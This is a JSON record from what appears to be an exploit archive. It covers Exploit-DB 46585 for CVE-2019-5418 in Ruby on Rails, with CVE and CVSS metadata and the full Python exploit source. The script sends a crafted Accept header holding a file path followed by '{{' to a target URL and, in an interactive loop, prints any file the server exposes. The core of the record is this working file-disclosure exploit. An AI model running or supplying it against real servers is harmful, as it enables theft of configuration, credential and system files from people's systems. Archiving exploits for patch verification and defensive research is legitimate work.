{"exploit":{"id":"EDB-46585","name":"Rails 5.2.1 - Arbitrary File Content Disclosure","description":"Rails 5.2.1 - Arbitrary File Content Disclosure","cves":["CVE-2019-5418"],"author":"NotoriousRebel","published":"2019-03-21","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/46585","path":"exploits/multiple/webapps/46585.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-46585.py","vulnerabilities":[{"id":"CVE-2019-5418","state":"PUBLISHED","title":null,"titleSource":null,"description":"There is a File Content Disclosure vulnerability in Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 where specially crafted accept headers can cause contents of arbitrary files on the target system's filesystem to be exposed.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-5418","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-5418"},"updatedAt":"2025-10-21T23:45:41.038Z","retrievedAt":"2026-11-26T10:32:27.923Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-46585.png?v=2","url":"https://exploitbin.com/exploits/EDB-46585","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-46585/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-46585/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"'''\nExploit Title: File Content Disclosure on Rails\nDate: CVE disclosed 3/16 today's date is 3/20\nExploit Author: NotoriousRebel\nVendor Homepage: https://rubyonrails.org/\nSoftware Link: https://github.com/rails/rails\nVersion: Versions Affected: all Fixed Versions: 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1\nTested on: Rails 5.2.1 (Using ubuntu on linux subsystem for Windows)\nCVE: 2019-5418\n'''\nimport sys\n\ntry:\n    import requests\nexcept ImportError:\n    print('\\n\\033[93m[!] Requests library not found, please install before proceeding.\\n\\n \\033[0m')\n    sys.exit(1)\n\n\ndef banner():\n    banner = \"\"\"\n    ----------------------------------------------\n    Arbitrary Traversal exploit for Ruby on Rails\n    CVE-2019-5418\n    ----------------------------------------------\n    \"\"\"\n    print(banner)\n\ndef check_args():\n    if len(sys.argv) != 2:\n        print(\"Invalid number of arguments entered!\")\n        how_to_use = \"python3 Bandit.py url\"\n        print('Use as:', how_to_use)\n        sys.exit(1)\n\n\ndef check_url(url):\n    status_code = requests.get(url)\n    if status_code != 200:\n        print(\"Url is invalid or can not be reached!\")\n        sys.exit(1)\n\n\ndef read_file(url, file):\n    headers = {'Accept': file + '{{'}\n    req = requests.get(url, headers=headers)\n    return req\n\n\ndef main():\n    banner()\n    check_args()\n    url = sys.argv[1]\n    while True:\n        try:\n            file = input(\"Enter file to read (enter quit to exit): \")\n        except Exception:\n            file = raw_input(\"Enter file to read (enter quit to exit): \")\n        try:\n            if file.lower() == 'quit':\n                break\n        except Exception:\n            if file == 'quit':\n                break\n        response = read_file(url, file)\n        print(response.text)\n\n\nif __name__ == '__main__':\n    try:\n        main()\n    except KeyboardInterrupt:\n        print('\\n\\n\\033[93m[!] ctrl+c detected from user, quitting.\\n\\n \\033[0m')","sha256":"3d76d021110c46711e3a3331ca0f6a9d56f43b9c9ebd38f95388a1cf43ede45d","bytes":1944,"fetchedAt":"2026-11-27T10:08:44.622Z","encoding":"utf-8 (display only; download retains original bytes)"}